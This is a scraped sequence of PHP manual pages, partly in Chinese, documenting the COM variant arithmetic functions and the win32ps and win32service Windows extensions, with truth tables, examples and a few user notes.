对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Division Rules
If | Then
Both expressions are of the string, date, character, boolean type | Double is returned
One expression is a string type and the other a character | Division and a double is returned
One expression is numeric and the other is a string | Division and a double is returned.
Both expressions are numeric | Division and a double is returned
Either expression is NULL | NULL is returned
right is empty and left is anything but empty | A com_exception with code DISP_E_DIVBYZERO is thrown
left is empty and right is anything but empty. | 0 as type double is returned
Both expressions are empty | A com_exception with code DISP_E_OVERFLOW is thrown

错误／异常

Throws a com_exception on failure.

参见

  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise equivalence on two variants

  • ? variant_div
  • variant_fix ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise equivalence on two variants

variant_eqv

(PHP 5, PHP 7)

variant_eqv — Performs a bitwise equivalence on two variants

说明

variant_eqv ( mixed $left , mixed $right ) : variant

Performs a bitwise equivalence on two variants.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If each bit in left is equal to the corresponding bit in right then TRUE is returned, otherwise FALSE is returned.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the integer portion of a variant

  • ? variant_eqv
  • variant_get_type ?
  • PHP Manual
  • COM 函数
  • Returns the integer portion of a variant

variant_fix

(PHP 5, PHP 7)

variant_fix — Returns the integer portion of a variant

说明

variant_fix ( mixed $variant ) : variant

Gets the integer portion of a variant.

参数

variant

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If variant is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of variant.

错误／异常

Throws a com_exception on failure.

注释

Warning

This documentation is based on the MSDN documentation; it appears that this function is either the same as variant_int(), or that there is an error in the MSDN documentation.

参见

  • variant_int() - Returns the integer portion of a variant
  • variant_round() - Rounds a variant to the specified number of decimal places
  • floor() - 舍去法取整
  • ceil() - 进一法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Returns the type of a variant object

  • ? variant_fix
  • variant_idiv ?
  • PHP Manual
  • COM 函数
  • Returns the type of a variant object

variant_get_type

(PHP 5, PHP 7)

variant_get_type — Returns the type of a variant object

说明

variant_get_type ( variant $variant ) : int

Returns the type of a variant object.

参数

variant

The variant object.

返回值

This function returns an integer value that indicates the type of variant, which can be an instance of COM, DOTNET or VARIANT classes. The return value can be compared to one of the VT_XXX constants.

The return value for COM and DOTNET objects will usually be VT_DISPATCH; the only reason this function works for those classes is because COM and DOTNET are descendants of VARIANT.

In PHP versions prior to 5, you could obtain this information from instances of the VARIANT class ONLY, by reading a fake type property. See the VARIANT class for more information on this.

User Contributed Notes

There are no user contributed notes for this page.


Converts variants to integers and then returns the result from dividing them

  • ? variant_get_type
  • variant_imp ?
  • PHP Manual
  • COM 函数
  • Converts variants to integers and then returns the result from dividing them

variant_idiv

(PHP 5, PHP 7)

variant_idiv — Converts variants to integers and then returns the result from dividing them

说明

variant_idiv ( mixed $left , mixed $right ) : variant

Converts left and right to integer values, and then performs integer division.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Integer Division Rules
If | Then
Both expressions are of the string, date, character, boolean type | Division and integer is returned
One expression is a string type and the other a character | Division
One expression is numeric and the other is a string | Division
Both expressions are numeric | Division
Either expression is NULL | NULL is returned
Both expressions are empty | A com_exception with code DISP_E_DIVBYZERO is thrown

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise implication on two variants

  • ? variant_idiv
  • variant_int ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise implication on two variants

variant_imp

(PHP 5, PHP 7)

variant_imp — Performs a bitwise implication on two variants

说明

variant_imp ( mixed $left , mixed $right ) : variant

Performs a bitwise implication operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Implication Table
If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | FALSE
TRUE | NULL | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | TRUE
FALSE | NULL | TRUE
NULL | TRUE | TRUE
NULL | FALSE | NULL
NULL | NULL | NULL

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the integer portion of a variant

  • ? variant_imp
  • variant_mod ?
  • PHP Manual
  • COM 函数
  • Returns the integer portion of a variant

variant_int

(PHP 5, PHP 7)

variant_int — Returns the integer portion of a variant

说明

variant_int ( mixed $variant ) : variant

Gets the integer portion of a variant.

参数

variant

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If variant is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of variant.

错误／异常

Throws a com_exception on failure.

参见

  • variant_fix() - Returns the integer portion of a variant
  • variant_round() - Rounds a variant to the specified number of decimal places
  • floor() - 舍去法取整
  • ceil() - 进一法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Divides two variants and returns only the remainder

  • ? variant_int
  • variant_mul ?
  • PHP Manual
  • COM 函数
  • Divides two variants and returns only the remainder

variant_mod

(PHP 5, PHP 7)

variant_mod — Divides two variants and returns only the remainder

说明

variant_mod ( mixed $left , mixed $right ) : variant

Divides left by right and returns the remainder.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the remainder of the division.

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants
  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Multiplies the values of the two variants

  • ? variant_mod
  • variant_neg ?
  • PHP Manual
  • COM 函数
  • Multiplies the values of the two variants

variant_mul

(PHP 5, PHP 7)

variant_mul — Multiplies the values of the two variants

说明

variant_mul ( mixed $left , mixed $right ) : variant

Multiplies left by right.

参数

left

The left operand.

right

The right operand.

Boolean values are converted to -1 for FALSE and 0 for TRUE.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Multiplication Rules
If | Then
Both expressions are of the string, date, character, boolean type | Multiplication
One expression is a string type and the other a character | Multiplication
One expression is numeric and the other is a string | Multiplication
Both expressions are numeric | Multiplication
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants
  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Performs logical negation on a variant

  • ? variant_mul
  • variant_not ?
  • PHP Manual
  • COM 函数
  • Performs logical negation on a variant

variant_neg

(PHP 5, PHP 7)

variant_neg — Performs logical negation on a variant

说明

variant_neg ( mixed $variant ) : variant

Performs logical negation of variant.

参数

variant

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of the logical negation.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Performs bitwise not negation on a variant

  • ? variant_neg
  • variant_or ?
  • PHP Manual
  • COM 函数
  • Performs bitwise not negation on a variant

variant_not

(PHP 5, PHP 7)

variant_not — Performs bitwise not negation on a variant

说明

variant_not ( mixed $variant ) : variant

Performs bitwise not negation on variant and returns the result.

参数

variant

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the bitwise not negation. If variant is NULL, the result will also be NULL.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Performs a logical disjunction on two variants

  • ? variant_not
  • variant_pow ?
  • PHP Manual
  • COM 函数
  • Performs a logical disjunction on two variants

variant_or

(PHP 5, PHP 7)

variant_or — Performs a logical disjunction on two variants

说明

variant_or ( mixed $left , mixed $right ) : variant

Performs a bitwise OR operation. Note that this is slightly different from a regular OR operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant OR Rules
If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | TRUE
TRUE | NULL | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | FALSE
FALSE | NULL | NULL
NULL | TRUE | TRUE
NULL | FALSE | NULL
NULL | NULL | NULL

错误／异常

Throws a com_exception on failure.

参见

  • variant_and() - Performs a bitwise AND operation between two variants
  • variant_xor() - Performs a logical exclusion on two variants

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of performing the power function with two variants

  • ? variant_or
  • variant_round ?
  • PHP Manual
  • COM 函数
  • Returns the result of performing the power function with two variants

variant_pow

(PHP 5, PHP 7)

variant_pow — Returns the result of performing the power function with two variants

说明

variant_pow ( mixed $left , mixed $right ) : variant

Returns the result of left to the power of right.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of left to the power of right.

错误／异常

Throws a com_exception on failure.

参见

  • pow() - 指数表达式

User Contributed Notes

There are no user contributed notes for this page.


Rounds a variant to the specified number of decimal places

  • ? variant_pow
  • variant_set_type ?
  • PHP Manual
  • COM 函数
  • Rounds a variant to the specified number of decimal places

variant_round

(PHP 5, PHP 7)

variant_round — Rounds a variant to the specified number of decimal places

说明

variant_round ( mixed $variant , int $decimals ) : mixed

Returns the value of variant rounded to decimals decimal places.

参数

variant

The variant.

decimals

Number of decimal places.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the rounded value.

参见

  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Convert a variant into another type "in-place"

  • ? variant_round
  • variant_set ?
  • PHP Manual
  • COM 函数
  • Convert a variant into another type "in-place"

variant_set_type

(PHP 5, PHP 7)

variant_set_type — Convert a variant into another type "in-place"

说明

variant_set_type ( variant $variant , int $type ) : void

This function is similar to variant_cast() except that the variant is modified "in-place"; no new variant is created. The parameters for this function have identical meaning to those of variant_cast().

参数

variant

The variant.

type

返回值

没有返回值。

参见

  • variant_cast() - Convert a variant into a new variant object of another type

User Contributed Notes

martin at itmission dot com 22-May-2009 10:55
In my application I was using ADODB to retrieve data from Microsoft Access.  During queries, fields defined as "Date/Time" in Access were being returned to PHP as instances of the Variant class.

For some reason, the variant_date_to_timestamp function returned incorrect timestamps.  As a workaround, I used variant_set_type($variant, VT_BSTR) to get a string representation of the date.  This can be used for most variant types PHP doesn't handle.


Assigns a new value for a variant object

  • ? variant_set_type
  • variant_sub ?
  • PHP Manual
  • COM 函数
  • Assigns a new value for a variant object

variant_set

(PHP 5, PHP 7)

variant_set — Assigns a new value for a variant object

说明

variant_set ( variant $variant , mixed $value ) : void

Converts value to a variant and assigns it to the variant object; no new variant object is created, and the old value of variant is freed/released.

参数

variant

The variant.

value

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Subtracts the value of the right variant from the left variant value

  • ? variant_set
  • variant_xor ?
  • PHP Manual
  • COM 函数
  • Subtracts the value of the right variant from the left variant value

variant_sub

(PHP 5, PHP 7)

variant_sub — Subtracts the value of the right variant from the left variant value

说明

variant_sub ( mixed $left , mixed $right ) : variant

Subtracts right from left.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Subtraction Rules
If | Then
Both expressions are of the string type | Subtraction
One expression is a string type and the other a character | Subtraction
One expression is numeric and the other is a string | Subtraction.
Both expressions are numeric | Subtraction
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

错误／异常

Throws a com_exception on failure.

参见

  • variant_add() - "Adds" two variant values together and returns the result

User Contributed Notes

There are no user contributed notes for this page.


Performs a logical exclusion on two variants

  • ? variant_sub
  • win32ps ?
  • PHP Manual
  • COM 函数
  • Performs a logical exclusion on two variants

variant_xor

(PHP 5, PHP 7)

variant_xor — Performs a logical exclusion on two variants

说明

variant_xor ( mixed $left , mixed $right ) : variant

Performs a logical exclusion.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant XOR Rules
If left is | If right is | then the result is
TRUE | TRUE | FALSE
TRUE | FALSE | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | FALSE
NULL | NULL | NULL

错误／异常

Throws a com_exception on failure.

参见

  • variant_or() - Performs a logical disjunction on two variants
  • variant_and() - Performs a bitwise AND operation between two variants

User Contributed Notes

tinelbarb at yahoo dot com 30-Aug-2010 12:21
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com dot RE-MO-VE dot ME 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)


win32ps

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • Win32ps examples
  • win32ps 函数
    • win32_ps_list_procs — List running processes
    • win32_ps_stat_mem — Stat memory utilization
    • win32_ps_stat_proc — Stat process

User Contributed Notes

There are no user contributed notes for this page.


简介

The win32ps extension is a Windows specific extension that allows PHP retrieve statistics about process and memory utilization.

User Contributed Notes

There are no user contributed notes for this page.


需求

Windows NT, Windows 2000, Windows XP or Windows Server 2003. Any version of Windows derived from Windows NT should be compatible.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/win32ps.

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • Win32ps examples

User Contributed Notes

There are no user contributed notes for this page.


Win32ps examples

Example #1 Statistics about the current PHP process

<?php
print_r(win32_ps_stat_proc());
/*
    Array
    (
        [pid] => 936
        [exe] => D:\Daten\Source\php-5.1\Debug_TS\php.exe
        [mem] => Array
            (
                [page_fault_count] => 2062
                [peak_working_set_size] => 8396800
                [working_set_size] => 8396800
                [quota_peak_paged_pool_usage] => 32080
                [quota_paged_pool_usage] => 31876
                [quota_peak_non_paged_pool_usage] => 4240
                [quota_non_paged_pool_usage] => 3888
                [pagefile_usage] => 5865472
                [peak_pagefile_usage] => 5865472
            )

        [tms] => Array
            (
                [created] => 0.093
                [kernel] => 0.015
                [user] => 0.062
            )

    )
*/
?>

Example #2 Statistics about global memory utilization

<?php
print_r(win32_ps_stat_mem());
/*
    Array
    (
        [load] => 37
        [unit] => 1024
        [total_phys] => 1048096
        [avail_phys] => 649960
        [total_pagefile] => 2521368
        [avail_pagefile] => 2237940
        [total_virtual] => 2097024
        [avail_virtual] => 2057848
    )
*/
?>

User Contributed Notes

There are no user contributed notes for this page.


win32ps 函数

Table of Contents

  • win32_ps_list_procs — List running processes
  • win32_ps_stat_mem — Stat memory utilization
  • win32_ps_stat_proc — Stat process

User Contributed Notes

There are no user contributed notes for this page.


List running processes

  • ? win32ps 函数
  • win32_ps_stat_mem ?
  • PHP Manual
  • win32ps 函数
  • List running processes

win32_ps_list_procs

(PECL win32ps >= 1.0.1)

win32_ps_list_procs — List running processes

说明

win32_ps_list_procs ( void ) : array

Retrieves statistics about all running processes.

返回值

Returns FALSE on failure, or an array consisting of process statistics like win32_ps_stat_proc() returns for all running processes on success.

参见

  • win32_ps_stat_proc() - Stat process

User Contributed Notes

cf at chronofish dot com 10-Sep-2007 11:27
For those of you in the WAMP environment, here is a little function that you may find handy:

<?
function kill_proc($processName)
{
    @$processList = win32_ps_list_procs();
    foreach ($processList as $processArray)
    {
        $pid = $processArray['pid'];
        if (basename($processArray['exe']) == $processName)
        {
            `taskkill /f /PID $pid 2>&1`;
        }
    }
}
?>

-CF


Stat memory utilization

  • ? win32_ps_list_procs
  • win32_ps_stat_proc ?
  • PHP Manual
  • win32ps 函数
  • Stat memory utilization

win32_ps_stat_mem

(PECL win32ps >= 1.0.1)

win32_ps_stat_mem — Stat memory utilization

说明

win32_ps_stat_mem ( void ) : array

Retrieves statistics about the global memory utilization.

返回值

Returns FALSE on failure, or an array consisting of the following information on success:

load

The current memory load in percent of physical memory.

unit

This is always 1024, and indicates that the following values are the count of 1024 bytes.

total_phys

The amount of total physical memory.

avail_phys

The amount of still available physical memory.

total_pagefile

The amount of total pageable memory (physical memory + paging file).

avail_pagefile

The amount of still available pageable memory (physical memory + paging file).

total_virtual

The amount of total virtual memory for a process.

avail_virtual

The amount of still available virtual memory for a process.

User Contributed Notes

There are no user contributed notes for this page.


Stat process

  • ? win32_ps_stat_mem
  • win32service ?
  • PHP Manual
  • win32ps 函数
  • Stat process

win32_ps_stat_proc

(PECL win32ps >= 1.0.1)

win32_ps_stat_proc — Stat process

说明

win32_ps_stat_proc ([ int $pid = 0 ] ) : array

Retrieves statistics about the process with the process id pid.

参数

pid

The process id of the process to stat. If omitted, the id of the current process.

返回值

Returns FALSE on failure, or an array consisting of the following information on success:

pid

The process id.

exe

The path to the executable image.

mem

An array containing information about the following memory utilization indicators: page_fault_count, peak_working_set_size, working_set_size, quota_peak_paged_pool_usage, quota_paged_pool_usage, quota_peak_non_paged_pool_usage, quota_non_paged_pool_usage, pagefile_usage and peak_pagefile_usage.

tms

An array containing information about the following CPU time utilization indicators: created, kernel and user.

参见

  • win32_ps_list_procs() - List running processes

User Contributed Notes

There are no user contributed notes for this page.


win32service

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
    • Security consideration
  • 预定义常量
    • Win32Service Service Type Bitmasks
    • Win32Service Service Status Constants
    • Win32Service Service Control Message Constants
    • Win32Service Service Control Message Accepted Bitmasks
    • Win32Service Service Start Type Constants
    • Win32Service Service Error Control Constants
    • Win32Service Service Flag Constants
    • Win32 Error Codes
    • Win32 Base Priority Classes
    • Win32 Recovery action
    • Win32 Service informations
  • 范例
  • win32service 函数
    • win32_continue_service — Resumes a paused service
    • win32_create_service — Creates a new service entry in the SCM database
    • win32_delete_service — Deletes a service entry from the SCM database
    • win32_get_last_control_message — Returns the last control message that was sent to this service
    • win32_pause_service — Pauses a service
    • win32_query_service_status — Queries the status of a service
    • win32_send_custom_control — Send a custom control to the service
    • win32_set_service_exit_code — Define or return the exit code for the current running service
    • win32_set_service_exit_mode — Define or return the exit mode for the current running service
    • win32_set_service_status — Update the service status
    • win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name
    • win32_start_service — Starts a service
    • win32_stop_service — Stops a service

User Contributed Notes

jbnahan at php dot net 12-Jun-2019 11:45
The version 0.4 allow now to send and receive a custom control code.
gospodin dot p dot zh at gmail dot com 04-Oct-2012 06:49
win32service extension does not realize very important (as for me) method of ServiceBase::OnCustomCommand
----
http://msdn.microsoft.com/en-us/library/system.serviceprocess.servicebase.oncustomcommand.aspx
"OnCustomCommand lets you specify additional functionality beyond starting, stopping, pausing and continuing services."


简介

The win32service extension is a Windows specific extension that allows PHP to communicate with the Service Control Manager to start, stop, register and unregister services, and even allows your PHP scripts to run as a service.

User Contributed Notes

There are no user contributed notes for this page.


安装／配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型
  • Security consideration

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/win32service

User Contributed Notes

alphp 10-Jan-2017 03:08
Para actualizar esta extensión a PHP-7 se está trabajando en https://github.com/win32service/win32service
Ya ha disponibles algunos binarios para poder probar.

To update this extension to PHP-7 is working at https://github.com/win32service/win32service
Some binaries have already been available for testing.


Security consideration

This extension needs administrator privileges for some actions such as create, delete, start, stop, pause and continue. This requirement can cause an elevation of privileges if the service control is available from the web interface or remote control.

You can set the ACL on the service after adding it into SCM to delegate the current administration tasks to an non administrator account or service account. For further instructions, see the » Microsoft Knowledge Base.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Table of Contents

  • Win32Service Service Type Bitmasks
  • Win32Service Service Status Constants
  • Win32Service Service Control Message Constants
  • Win32Service Service Control Message Accepted Bitmasks
  • Win32Service Service Start Type Constants
  • Win32Service Service Error Control Constants
  • Win32Service Service Flag Constants
  • Win32 Error Codes
  • Win32 Base Priority Classes
  • Win32 Recovery action
  • Win32 Service informations

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

User Contributed Notes

